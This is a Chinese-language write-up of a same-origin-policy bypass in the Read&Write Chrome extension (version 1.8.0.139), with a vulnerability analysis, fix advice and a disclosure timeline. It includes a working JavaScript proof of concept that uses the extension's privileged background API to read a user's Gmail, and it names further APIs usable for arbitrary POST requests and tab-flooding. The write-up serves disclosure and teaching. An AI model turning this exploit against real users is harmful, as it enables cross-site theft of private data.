挖洞经验 | 看我如何发现Chrome浏览器阅读辅助插件SOP绕过漏洞
字数 1023 2025-08-18 11:37:23
Chrome浏览器阅读辅助插件SOP绕过漏洞分析与教学
漏洞概述
本教学文档详细分析Chrome浏览器阅读辅助插件(Read&Write Chrome extension)1.8.0.139版本的同源策略(SOP)绕过漏洞。该漏洞允许任意网页调用插件的后台特权页面API,执行高风险操作,影响约800万用户。
漏洞背景
插件功能
Read&Write插件通过"inject.js"内容脚本向Google Docs等在线文档页面插入自定义工具栏,提供文档读写辅助功能。
受影响版本
- 受影响版本:1.8.0.139
- 修复版本:漏洞报告后第二天发布的更新版本
漏洞技术分析
内容脚本配置问题
插件manifest.json中配置内容脚本向所有HTTP和HTTPS源注入:
"content_scripts": [{
"matches": ["https://*/*", "http://*/*"],
"js": ["inject.js"],
"run_at": "document_idle",
"all_frames": true
}]
事件监听机制
inject.js中存在不安全的事件监听:
window.addEventListener("message", this.onMessage)
function onMessage() {
void 0 != event.source && void 0 != event.data &&
event.source == window &&
"1757FROM_PAGERW4G" == event.data.type &&
("connect" == event.data.command ?
chrome.extension.sendRequest(event.data, onRequest) :
"ejectBar" == event.data.command ?
ejectBar() :
"th-closeBar" == event.data.command ?
chrome.storage.sync.set({ enabledRW4GC: !1 }) :
chrome.extension.sendRequest(event.data, function(e) {
window.postMessage(e, "*")
}))
}
后台页面API暴露
插件后台页面(background.js)暴露了多个特权API,例如:
chrome.extension.onRequest.addListener(function(e, t, o) {
if ("thGetVoices" === e.method && "1757FROM_PAGERW4G" == e.type) {
if (g_voices.length > 0 && "true" !== e.payload.refresh)
return void o({
method: "thGetVoices",
type: "1757FROM_BGRW4G",
payload: { response: g_voices }
});
var c = new XMLHttpRequest;
c.open("GET", e.payload.url, !0);
c.onreadystatechange = function() {
4 == this.readyState && 200 == this.status &&
(g_voices = this.responseText.toString(),
o({
method: "thGetVoices",
type: "1757FROM_BGRW4G",
payload: { response: g_voices }
}))
};
c.send()
}
})
漏洞利用方法
基本利用原理
- 任意网页可以发送特定格式的postMessage消息
- 消息通过内容脚本转发到插件后台
- 后台执行特权操作并返回结果
- 结果通过内容脚本传回网页
漏洞利用PoC
function exploit_get(input_url) {
return new Promise(function(resolve, reject) {
var delete_callback = false;
var event_listener_callback = function(event) {
if ("data" in event && event.data.payload.response) {
window.removeEventListener("message", event_listener_callback, false);
resolve(event.data.payload.response);
}
};
window.addEventListener("message", event_listener_callback, false);
window.postMessage({
type: "1757FROM_PAGERW4G",
"method": "thGetVoices",
"payload": {
"refresh": "true",
"url": input_url
}
}, "*");
});
}
exploit_get("https://mail.google.com/mail/u/0/h/").then(function(response_body) {
alert("Gmail emails have been stolen!");
alert(response_body);
});
其他可利用的API
thExtBGAjaxRequest: 执行任意POST请求OpenTab: 打开大量网页标签实施DoS攻击
漏洞危害
- 跨域数据窃取:读取用户在其他域(如Gmail)的敏感信息
- 任意请求发送:以插件权限发送HTTP请求
- 用户骚扰:通过打开大量标签页干扰用户
漏洞修复建议
开发者修复方案
- 源验证:检查消息来源是否为可信页面
- API权限分离:将敏感逻辑移至内容脚本
- 消息验证:验证
isTrusted属性确保用户触发 - 最小权限原则:限制内容脚本注入范围
用户防护措施
- 及时更新插件到最新版本
- 不使用时不启用插件
- 定期审查已安装插件权限
漏洞响应时间线
- 2018.6.3晚:向Texthelp上报漏洞
- 2018.6.3晚:Texthelp确认漏洞并计划修复
- 2018.6.4:Texthelp发布修复补丁
教学总结
本案例展示了浏览器插件开发中常见的安全问题:
- 过度宽松的内容脚本注入策略
- 缺乏对消息来源的验证
- 特权API暴露给不可信上下文
开发者应遵循安全开发原则:
- 最小权限原则
- 输入验证
- 敏感操作确认
- 及时安全更新
通过分析此类漏洞,可以更好地理解浏览器安全模型和插件安全开发的最佳实践。